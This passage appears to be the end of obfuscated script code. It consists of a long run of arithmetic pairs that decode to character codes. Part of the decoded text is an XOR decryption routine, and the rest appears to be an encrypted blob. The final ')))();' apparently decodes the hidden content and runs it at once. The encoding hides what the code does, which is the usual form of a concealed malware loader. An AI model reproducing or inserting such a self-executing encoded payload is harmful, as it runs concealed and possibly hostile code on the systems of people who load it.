– 3, 73 – 8, 104 – 2, 105 – 3, 88 – 3, 111 – 4, 119 – 5, 66 – 1, 84 – 3, 97 – 8, 128 – 8, 88 – 2, 92 – 6, 71 – 5, 127 – 9, 88 – 1, 72 – 1, 111 – 7, 87 – 3, 100 – 3, 87 – 2, 89 – 3, 94 – 4, 91 – 3, 77 – 7, 79 – 5, 98 – 8, 106 – 8, 53 – 4, 112 – 4, 52 – 3, 85 – 1, 110 – 1, 116 – 8, 80 – 7, 76 – 6, 72 – 5, 118 – 6, 88 – 5, 77 – 9, 68 – 1, 56 – 4, 102 – 1, 84 – 7, 72 – 7, 72 – 7, 61 – 4, 84 – 2, 108 – 5, 72 – 3, 53 – 1, 79 – 9, 113 – 9, 120 – 1, 56 – 5, 86 – 8, 110 – 4, 83 – 5, 72 – 1, 105 – 7, 107 – 3, 76 – 7, 76 – 2, 86 – 6, 108 – 4, 50 – 2, 95 – 8, 101 – 4, 78 – 8, 69 – 3, 58 – 9, 85 – 1, 52 – 1, 90 – 8, 89 – 3, 88 – 5, 74 – 2, 120 – 4, 75 – 7, 89 – 4, 75 – 4, 65 – 9, 76 – 9, 91 – 3, 49 – 1, 56 – 3, 119 – 7, 88 – 5, 74 – 5, 105 – 1, 51 – 1, 87 – 2, 110 – 7, 123 – 8, 114 – 1, 69 – 1, 85 – 2, 73 – 8, 101 – 2, 81 – 7, 52 – 3, 82 – 4, 110 – 5, 101 – 1, 111 – 3, 76 – 2, 91 – 1, 105 – 7, 121 – 2, 87 – 5, 109 – 7, 93 – 3, 72 – 1, 117 – 9, 78 – 5, 89 – 6, 78 – 6, 96 – 7, 73 – 7, 80 – 8, 73 – 5, 123 – 8, 120 – 4, 83 – 3, 72 – 7, 78 – 1, 122 – 7, 70 – 4, 129 – 9, 52 – 4, 106 – 1, 92 – 5, 105 – 1, 63 – 7, 59 – 5, 71 – 1, 124 – 2, 97 – 8, 99 – 2, 82 – 9, 68 – 3, 100 – 1, 78 – 7, 105 – 3, 112 – 4, 119 – 3, 91 – 1, 84 – 6, 76 – 4, 86 – 8, 58 – 9, 91 – 7, 113 – 4, 117 – 9, 77 – 4, 91 – 8, 80 – 8, 90 – 1, 67 – 1, 75 – 3, 72 – 4, 122 – 7, 62 – 8, 87 – 8, 110 – 7, 78 – 9, 111 – 6, 69 – 4, 85 – 4, 51 – 2, 49 – 6, 77 – 8, 83 – 1, 98 – 9, 107 – 4, 71 – 2, 113 – 7, 125 – 6, 80 – 4, 94 – 4, 92 – 7, 113 – 9, 84 – 4, 93 – 3, 51 – 3, 73 – 7, 81 – 6, 106 – 9, 76 – 6, 89 – 3, 54 – 5, 88 – 1, 89 – 1, 120 – 8, 95 – 6, 85 – 4, 96 – 9, 54 – 5, 60 – 8, 94 – 7, 94 – 7, 66 – 9, 95 – 5, 106 – 6, 93 – 8, 59 – 6, 118 – 6, 68 – 2, 67 – 2, 106 – 7, 53 – 4, 73 – 4, 127 – 7, 91 – 6, 103 – 4, 76 – 8, 91 – 7, 117 – 6, 101 – 2, 77 – 2, 72 – 7, 60 – 4, 85 – 7, 104 – 3, 74 – 9, 75 – 6, 108 – 9, 82 – 3, 130 – 8, 72 – 7, 107 – 3, 76 – 9, 129 – 8, 84 – 2, 73 – 8, 74 – 7, 123 – 1, 108 – 1, 105 – 5, 75 – 6, 107 – 2, 98 – 9, 106 – 7, 104 – 3, 88 – 3, 61 – 8, 121 – 4, 90 – 3, 91 – 6, 59 – 2, 48 – 1, 88 – 5, 95 – 7, 85 – 7, 126 – 8, 92 – 5, 89 – 1, 88 – 2, 87 – 8, 102 – 5, 94 – 9, 111 – 8, 105 – 3, 86 – 6, 128 – 8, 121 – 2, 105 – 5, 78 – 5, 67 – 2, 55 – 2, 63 – 8, 74 – 9, 111 – 6, 91 – 2, 78 – 2, 68 – 1, 87 – 4, 74 – 1, 103 – 5, 79 – 9, 106 – 1, 78 – 8, 95 – 5, 99 – 2, 76 – 7, 61 – 9, 45 – 2, 86 – 8, 122 – 3, 85 – 4, 61 – 8, 75 – 6, 89 – 7, 111 – 8, 59 – 4, 70 – 1, 74 – 6, 117 – 6, 71 – 6, 106 – 7, 117 – 8, 77 – 3, 82 – 9, 102 – 2, 114 – 6, 81 – 7, 95 – 5, 80 – 3, 112 – 4, 94 – 8, 53 – 4, 93 – 5, 76 – 4, 116 – 8, 80 – 7, 88 – 7, 117 – 7, 96 – 6, 74 – 6, 86 – 3, 93 – 5, 60 – 3, 77 – 3, 109 – 7, 72 – 2, 95 – 9, 72 – 4, 92 – 9, 71 – 2, 112 – 9, 115 – 1, 107 – 6, 76 – 6, 112 – 4, 127 – 9, 81 – 9, 129 – 8, 70 – 5, 69 – 4, 81 – 6, 105 – 1, 123 – 4, 71 – 5, 83 – 4, 86 – 4, 128 – 8, 92 – 2, 84 – 4, 70 – 4, 125 – 6, 106 – 2, 82 – 6, 88 – 5, 97 – 8, 73 – 1, 67 – 2, 124 – 2, 61 – 5, 96 – 8, 86 – 1, 89 – 6, 127 – 8, 112 – 3, 85 – 6, 127 – 8, 60 – 4, 111 – 4, 74 – 6, 88 – 3, 83 – 1, 54 – 4, 75 – 9, 75 – 9, 109 – 6, 114 – 8, 74 – 6, 69 – 1, 69 – 3, 71 – 4, 101 – 4, 85 – 4, 54 – 6, 90 – 9, 84 – 7, 106 – 2, 82 – 5, 74 – 9, 89 – 9, 76 – 6, 70 – 4, 54 – 5, 74 – 4, 92 – 7, 81 – 3, 75 – 2, 86 – 3, 77 – 5, 96 – 6, 85 – 2, 73 – 5, 125 – 4, 57 – 5, 81 – 5, 105 – 5, 84 – 3, 117 – 2, 121 – 1, 77 – 9, 67 – 2, 112 – 5, 106 – 1, 74 – 4, 54 – 5, 116 – 8, 130 – 9, 93 – 6, 91 – 7, 117 – 2, 82 – 6, 88 – 8, 115 – 8, 111 – 8, 121 – 6, 85 – 7, 120 – 1, 95 – 6, 105 – 6, 97 – 7, 53 – 4, 75 – 9, 125 – 8, 96 – 6, 77 – 6, 110 – 2, 78 – 5, 89 – 6, 78 – 6, 93 – 4, 94 – 6, 68 – 3, 87 – 4, 123 – 8, 97 – 8, 80 – 7, 88 – 7, 120 – 4, 113 – 3, 80 – 9, 125 – 6, 52 – 4, 112 – 7, 84 – 6, 111 – 7, 109 – 6, 60 – 5, 79 – 7, 79 – 7, 55 – 7, 79 – 3, 83 – 6, 89 – 8, 121 – 2, 83 – 9, 74 – 1, 112 – 8, 103 – 3, 95 – 7, 82 – 7, 73 – 7, 126 – 7, 107 – 3, 80 – 5, 114 – 9, 104 – 1, 104 – 5, 71 – 3, 90 – 2, 61 – 8, 100 – 2, 92 – 5, 88 – 1, 91 – 9, 94 – 4, 80 – 3, 72 – 6, 94 – 5, 120 – 4, 76 – 9, 90 – 8, 75 – 6, 116 – 8, 95 – 8, 53 – 5, 82 – 8, 71 – 1, 88 – 1, 95 – 7, 90 – 4, 82 – 3, 98 – 1, 86 – 4, 53 – 1, 80 – 6, 79 – 5, 78 – 8, 74 – 1, 99 – 2, 74 – 5, 67 – 2, 65 – 9, 56 – 8, 73 – 8, 108 – 2, 125 – 6, 85 – 7, 85 – 2, 75 – 4, 123 – 7, 91 – 8, 74 – 2, 76 – 8, 126 – 7, 100 – 3, 82 – 4, 73 – 7, 54 – 2, 119 – 4, 82 – 1, 73 – 7, 59 – 7, 52 – 1, 78 – 6, 106 – 3, 124 – 5, 117 – 4, 93 – 8, 77 – 5, 92 – 6, 73 – 3, 102 – 5, 89 – 4, 74 – 8, 67 – 2, 81 – 4, 121 – 2, 119 – 8, 109 – 9, 79 – 3, 108 – 5, 69 – 4, 112 – 3, 89 – 5, 112 – 2, 88 – 6, 93 – 7, 92 – 9, 71 – 3, 106 – 3, 80 – 8, 71 – 1, 86 – 3, 84 – 6, 88 – 7, 105 – 5, 95 – 9, 71 – 1, 120 – 8, 86 – 2, 56 – 8, 65 – 8, 55 – 5, 89 – 6, 75 – 5, 110 – 2, 116 – 5, 90 – 9, 119 – 9, 93 – 8, 78 – 2, 84 – 7, 86 – 4, 108 – 5, 74 – 8, 76 – 2, 73 – 7, 102 – 3, 79 – 4, 101 – 2, 117 – 9, 56 – 3, 58 – 9, 85 – 3, 90 – 3, 110 – 3, 81 – 3, 77 – 8, 71 – 3, 78 – 5, 86 – 2, 72 – 4, 85 – 2, 119 – 7, 93 – 5, 77 – 4, 90 – 9, 70 – 1, 103 – 4, 89 – 9, 69 – 2, 120 – 5, 79 – 9, 75 – 9, 107 – 4, 124 – 9, 110 – 1, 76 – 6, 131 – 9, 75 – 1, 73 – 2, 90 – 1, 71 – 2, 73 – 3, 90 – 6, 93 – 5, 73 – 3, 77 – 3, 99 – 9, 101 – 3, 58 – 9, 109 – 2, 122 – 2, 66 – 1, 87 – 4, 119 – 8, 107 – 7, 74 – 8, 86 – 2, 81 – 4, 100 – 1, 76 – 8, 92 – 5, 77 – 8, 104 – 7, 84 – 5, 108 – 5, 73 – 4, 106 – 1, 73 – 8, 86 – 5, 53 – 4, 55 – 5, 85 – 1, 57 – 8, 112 – 5, 122 – 7, 83 – 9, 110 – 4, 124 – 9, 85 – 5, 76 – 2, 71 – 6, 56 – 7, 82 – 9, 106 – 4, 92 – 6, 82 – 8, 104 – 3, 102 – 3, 110 – 2, 62 – 9, 57 – 8, 83 – 1, 92 – 5, 109 – 2, 83 – 7, 83 – 5, 127 – 6, 67 – 2, 91 – 7, 77 – 7, 92 – 8, 113 – 2, 105 – 6, 106 – 8, 116 – 7, 91 – 9, 118 – 6, 86 – 3, 69 – 3, 93 – 7, 104 – 5, 110 – 9, 71 – 1, 116 – 8, 121 – 3, 69 – 1, 127 – 5, 82 – 1, 104 – 5, 98 – 1, 91 – 9, 112 – 1, 80 – 2, 82 – 4, 124 – 4, 91 – 2, 72 – 7, 76 – 4, 74 – 9, 52 – 4, 49 – 1, 74 – 3, 111 – 6, 126 – 7, 122 – 8, 74 – 9, 69 – 1, 78 – 1, 84 – 2, 75 – 6, 108 – 5, 97 – 8, 94 – 6, 76 – 3, 88 – 7, 122 – 7, 56 – 1, 77 – 5, 108 – 5, 109 – 2, 61 – 7, 89 – 4, 108 – 1, 90 – 8, 122 – 4, 70 – 3, 111 – 5, 67 – 2, 98 – 1, 71 – 6, 70 – 5, 97 – 8, 108 – 9, 82 – 5, 126 – 7, 72 – 7, 84 – 4, 79 – 3, 110 – 6, 92 – 6, 61 – 4, 69 – 2, 70 – 2, 125 – 6, 77 – 6, 68 – 1, 126 – 5, 77 – 4, 107 – 9, 74 – 4, 109 – 4, 79 – 9, 89 – 7, 109 – 7, 74 – 5, 57 – 5, 127 – 6, 92 – 3, 114 – 7, 106 – 2, 54 – 4, 94 – 9, 117 – 9, 112 – 5, 110 – 1, 77 – 5, 54 – 3, 91 – 5, 76 – 5, 84 – 8, 82 – 1, 107 – 8, 78 – 2, 78 – 5, 126 – 6, 59 – 3, 104 – 5, 77 – 4, 83 – 2, 50 – 1, 57 – 2, 81 – 9, 69 – 2, 127 – 8, 78 – 4, 72 – 4, 73 – 6, 65 – 9, 109 – 5, 75 – 7, 92 – 9, 56 – 4, 80 – 2, 78 – 1, 76 – 7, 58 – 5, 56 – 8, 95 – 9, 88 – 2, 95 – 9, 51 – 1, 91 – 5, 90 – 8, 116 – 5, 104 – 1, 75 – 5, 76 – 9, 93 – 8, 69 – 2, 85 – 9, 73 – 7, 125 – 6, 80 – 2, 101 – 2, 93 – 5, 105 – 1, 96 – 6, 99 – 1, 50 – 1, 110 – 2, 58 – 9, 93 – 9, 116 – 7, 112 – 4, 79 – 6, 92 – 9, 69 – 2, 114 – 3, 83 – 4, 93 – 6, 87 – 4, 123 – 8, 94 – 7, 80 – 2, 111 – 7, 123 – 8, 114 – 7, 76 – 8, 87 – 6, 91 – 2, 107 – 2, 96 – 8, 70 – 5, 117 – 2, 120 – 7, 73 – 2, 73 – 5, 76 – 7, 94 – 6, 80 – 9, 105 – 1, 123 – 4, 83 – 9, 79 – 6, 110 – 6, 106 – 6, 98 – 8, 105 – 6, 114 – 7, 84 – 2, 56 – 7, 85 – 2, 84 – 1, 67 – 2, 79 – 8, 73 – 1, 73 – 5, 78 – 1, 74 – 9, 78 – 7, 68 – 1, 128 – 9, 82 – 4, 86 – 6, 69 – 3, 106 – 3, 124 – 9, 87 – 3, 50 – 2, 77 – 7, 56 – 6, 75 – 8, 90 – 2, 84 – 6, 121 – 3, 93 – 6, 91 – 3, 87 – 1, 80 – 1, 103 – 6, 93 – 8, 107 – 4, 80 – 4, 80 – 1, 105 – 1, 102 – 3, 93 – 4, 86 – 6, 93 – 9, 74 – 9, 57 – 2, 78 – 7, 109 – 4, 127 – 8, 98 – 1, 75 – 3, 115 – 9, 101 – 2, 110 – 9, 94 – 9, 87 – 3, 52 – 4, 106 – 7, 82 – 4, 71 – 6, 117 – 6, 125 – 6, 80 – 1, 121 – 1, 121 – 2, 59 – 8, 72 – 6, 105 – 1, 124 – 5, 86 – 9, 77 – 8, 91 – 7, 73 – 8, 80 – 2, 81 – 8, 109 – 4, 75 – 6, 79 – 8, 81 – 8, 112 – 8, 105 – 6, 82 – 6, 81 – 2, 89 – 7, 109 – 6, 61 – 8, 89 – 7, 59 – 8, 82 – 8, 107 – 2, 88 – 5, 76 – 4, 99 – 9, 92 – 9, 92 – 5, 92 – 5, 66 – 9, 96 – 6, 76 – 2, 111 – 7, 112 – 1, 116 – 5, 77 – 6, 111 – 7, 124 – 4, 52 – 9, 94 – 7, 55 – 7, 83 – 9, 73 – 3, 93 – 6, 89 – 1, 92 – 6, 87 – 8, 99 – 2, 90 – 8, 95 – 9, 113 – 8, 107 – 7, 114 – 6, 80 – 7, 70 – 1, 95 – 6, 58 – 9, 110 – 2, 115 – 8, 96 – 8, 114 – 5, 70 – 4, 88 – 4, 92 – 3, 116 – 8, 128 – 9, 83 – 3, 92 – 7, 96 – 9, 97 – 7, 87 – 6, 106 – 8, 111 – 2, 86 – 4, 70 – 2, 41 – 2, 61 – 2, 11 – 1, 108 – 6, 119 – 2, 117 – 7, 103 – 4, 117 – 1, 112 – 7, 113 – 2, 116 – 6, 33 – 1, 128 – 8, 114 – 3, 115 – 1, 102 – 7, 103 – 2, 113 – 3, 101 – 2, 49 – 9, 120 – 5, 117 – 1, 123 – 9, 110 – 5, 114 – 4, 109 – 6, 49 – 5, 41 – 9, 115 – 8, 107 – 6, 122 – 1, 49 – 8, 33 – 1, 131 – 8, 16 – 6, 41 – 9, 33 – 1, 123 – 5, 101 – 4, 115 – 1, 35 – 3, 117 – 3, 102 – 1, 118 – 3, 38 – 6, 62 – 1, 35 – 3, 48 – 9, 42 – 3, 67 – 8, 17 – 7, 34 – 2, 38 – 6, 109 – 7, 112 – 1, 116 – 2, 33 – 1, 44 – 4, 119 – 1, 100 – 3, 115 – 1, 36 – 4, 112 – 7, 40 – 8, 64 – 3, 41 – 9, 51 – 3, 63 – 4, 39 – 7, 108 – 3, 40 – 8, 63 – 3, 35 – 3, 119 – 4, 121 – 5, 123 – 9, 113 – 8, 113 – 3, 106 – 3, 47 – 1, 115 – 7, 108 – 7, 116 – 6, 110 – 7, 124 – 8, 107 – 3, 66 – 7, 34 – 2, 109 – 4, 46 – 3, 51 – 8, 43 – 2, 37 – 5, 127 – 4, 13 – 3, 41 – 9, 33 – 1, 33 – 1, 36 – 4, 118 – 4, 104 – 3, 120 – 5, 39 – 7, 52 – 9, 63 – 2, 37 – 5, 88 – 5, 124 – 8, 121 – 7, 111 – 6, 119 – 9, 109 – 6, 53 – 7, 105 – 3, 123 – 9, 117 – 6, 112 – 3, 72 – 5, 111 – 7, 105 – 8, 116 – 2, 71 – 4, 120 – 9, 105 – 5, 103 – 2, 49 – 9, 117 – 2, 122 – 6, 117 – 3, 106 – 1, 117 – 7, 107 – 4, 55 – 9, 101 – 2, 105 – 1, 100 – 3, 119 – 5, 69 – 2, 113 – 2, 103 – 3, 103 – 2, 73 – 8, 121 – 5, 49 – 9, 107 – 2, 47 – 6, 35 – 3, 103 – 9, 18 – 8, 33 – 1, 37 – 5, 34 – 2, 38 – 6, 36 – 4, 33 – 1, 37 – 5, 39 – 7, 35 – 3, 33 – 1, 35 – 3, 39 – 7, 39 – 7, 37 – 5, 38 – 6, 37 – 5, 35 – 3, 40 – 8, 40 – 8, 41 – 9, 36 – 4, 38 – 6, 41 – 9, 39 – 7, 37 – 5, 39 – 7, 41 – 9, 34 – 2, 33 – 1, 36 – 4, 37 – 5, 38 – 6, 111 – 4, 108 – 7, 123 – 2, 54 – 8, 101 – 2, 105 – 1, 101 – 4, 119 – 5, 70 – 3, 115 – 4, 102 – 2, 105 – 4, 68 – 3, 122 – 6, 49 – 9, 111 – 6, 39 – 7, 40 – 3, 35 – 3, 114 – 7, 104 – 3, 125 – 4, 48 – 2, 114 – 6, 102 – 1, 112 – 2, 104 – 1, 124 – 8, 113 – 9, 46 – 5, 47 – 6, 65 – 6, 11 – 1, 39 – 7, 39 – 7, 129 – 4, 12 – 2, 38 – 6, 37 – 5, 123 – 9, 102 – 1, 119 – 3, 119 – 2, 120 – 6, 112 – 2, 41 – 9, 122 – 8, 104 – 3, 117 – 2, 61 – 2, 13 – 3, 126 – 1, 13 – 3, 17 – 7, 126 – 8, 104 – 7, 115 – 1, 37 – 5, 104 – 4, 108 – 7, 100 – 1, 36 – 4, 69 – 8, 33 – 1, 128 – 8, 113 – 2, 120 – 6, 97 – 2, 105 – 4, 112 – 2, 108 – 9, 46 – 6, 103 – 6, 124 – 8, 117 – 6, 101 – 3, 45 – 5, 106 – 5, 116 – 6, 106 – 7, 109 – 8, 103 – 3, 46 – 5, 47 – 3, 41 – 9, 115 – 8, 109 – 8, 126 – 5, 43 – 2, 61 – 2, 18 – 8, 46 – 6, 114 – 4, 108 – 7, 126 – 7, 39 – 7, 74 – 4, 125 – 8, 119 – 9, 108 – 9, 122 – 6, 114 – 9, 114 – 3, 111 – 1, 41 – 1, 104 – 4, 105 – 4, 104 – 5, 44 – 3, 47 – 6, 49 – 9, 45 – 4, 68 – 9, 14 – 4, 16 – 6)))();